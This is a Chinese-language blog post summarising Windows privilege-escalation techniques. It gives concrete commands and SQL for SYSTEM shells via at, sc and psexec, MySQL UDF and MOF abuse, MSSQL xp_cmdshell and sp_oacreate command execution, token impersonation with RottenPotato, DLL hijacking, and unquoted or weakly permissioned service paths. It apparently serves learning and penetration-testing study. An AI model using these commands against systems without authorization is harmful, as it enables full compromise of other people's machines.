0
点赞
收藏
分享

微信扫一扫

windows提权总结

Separes 2022-04-05 阅读 76

windows提权总结

文章目录

溢出漏洞提权

拿到服务器普通权限→上传溢出程序→提权至administrator。

内核溢出漏洞总结:https://github.com/SecWiki/windows-kernel-exploits/

1)筛选服务器未打的补丁。常用工具有:

vulmap(powershell执行)
WindowsVulnScan-master
wesng

2)查找未打补丁对应能提权的的漏洞

3)利用msf提权

例:

靶机上执行systeminfo保存systeminfo.txt

攻击机上运行 python .\wes.py .\systeminfo.txt 筛选出未打的补丁

没有 打cve-2018-8120 对应的KB4131188补丁,所以我们可以利用 cve-2018-8120 进行提权
在这里插入图片描述
在这里插入图片描述

at&sc&ps命令提权

at命令(适用win7之前)
at命令是一个计划命令,可以在规定时间完成一些操作,这个命令调用的是system权限

at 21:26 /interactive cmd.exe          //给系统添加一项作业,在21:26打开cmd命令
at                                     //查看作业详情
at/del                                 //删除作业

sc命令 (适用2003)
SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序

sc create syscmd binPath= "cmd /K start" type= own type= interact  //创建一个名叫syscmd的新的交互式的cmd服务
sc start syscmd   //执行得到system权限的cmd

ps命令(上传pstools到服务器)
pstools是微软官方工具,是为windows提供的第三方工具库
pstools下载

psexec.exe -accepteula -s -i -d cmd.exe   //得到system权限的cmd

数据库提权

mysql

UDF提权

什么是udf
udf = “user defined function”,即‘用户自定义函数’。是通过添加新函数,对MYSQL的功能进行扩充.

首先判断数据库版本,然后将dll文件导入目标服务器。

MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能

上传udf.dll 将udf.dll导出到目标目录,然后执行sql语句创建用户自定义函数,再执行命令提权

create function cmd_shell returns string soname 'udf.dll';#创建函数
select cmd_shell(‘whoami’);#使用函数
drop function cmd_shell; #删除函数

MOF提权

在windows c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间就会以system权限执行一次,所以,将mof提权文件上传到/mof/目录下并覆盖掉nullevt.mof

要求:

windows 03及以下版本  
mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录  
secure-file-priv参数不为null

将恶意mof文件替换到mof目录下

select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

启动项提权

首先开启mysql数据库外联
然后使用msf启动项模块向目标机器写入后门
最后等待目标服务器重启,执行启动项中的后门

sql server

xp_cmdshell提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令,xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它

启用xp_cmdshell命令:

EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

执行:EXEC master.dbo.xp_cmdshell ‘whoami’

sp_oacreate提权

调用 OLE 对象,利用 OLE 对象的 run 方法执行系统命令

启用:

EXEC sp_configure 'show advanced options', 1;

RECONFIGURE WITH OVERRIDE;

EXEC sp_configure 'Ole Automation Procedures', 1;

RECONFIGURE WITH OVERRIDE;

执行:

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod

@shell,‘run’,null,‘c:\windows\system32\cmd.exe /c whoami >c:\1.txt’

令牌窃取提权

administrator权限提更高权限

例:

利用msf取得主机权限后
use incognito //进入incognito模块
list_tokens -u //列出可用令牌
impersonate_token "NT AUTHORITY\SYSTEM" //进行提权

Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问) Impresonation Token:模拟令牌,它是非交互的会话。

RottenPotato(烂土豆)配合令牌窃取

烂土豆就是俗称的MS16-075,从低权限提升高权限

msf拿到会话后:

use incognito //进入incognito模块
upload /root/potato.exe c:/ //上传烂土豆到目标
cd C:\\Users\\Public
execute -cH -f c:/potato.exe //创建新的进程
list_tokens -u //列出可用令牌
impersonate_token "NT AUTHORITY\SYSTEM" //进行提权

DLL劫持提权

有些应用启动会加载一些dll文件,我们可以将需要加载的dll文件替换成dll木马,那么应用在启动时就会加载木马。具体怎么分析加载什么地方的什么dll,可以在本地用火绒剑进行分析。

首先收集应用加载的dll
然后msf制作dll木马
将目标服务器上原本加载的dll替换成我们制作的木马
kali监听,启动应用
再利用令牌窃取提升system

不带引号的服务路径配合msf提权

这是某个服务的可执行文件路径

在这里插入图片描述

一个服务的可执行文件路径如果有空格且没用双引号,可能造成如下漏洞

比如一个可执行文件路径是

“c:\program data\2.exe” -p //正确写法 路径用双引号引起

c:\program data\2.exe -p //错误写法

不带引号相当于执行c:\program在这里插入图片描述
可以在c盘下生成一个program的木马,服务启动便会加载木马

例:

查找有漏洞的服务:wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows"|findstr /i /v """
在c:下生成名称为program的后门
kali监听 ,启动服务

不安全的服务权限配合MSF提权

检测服务权限配置-制作文件并上传-更改服务路径指向-启动服务

需要下载accesschk文件

accesschk.exe -uwcqv "administrators" * //检测可修改的服务项
sc config "NewServiceName" binpath="C:\Program.exe" //将服务路径重定向
sc start "NewServiceName" //重新启动服务

其他方法

1.各种cve提权
2.进程注入
3.Bypassuac提权
4.Unattended Installs
5.AlwaysinstallElevated**

举报

相关推荐

0 条评论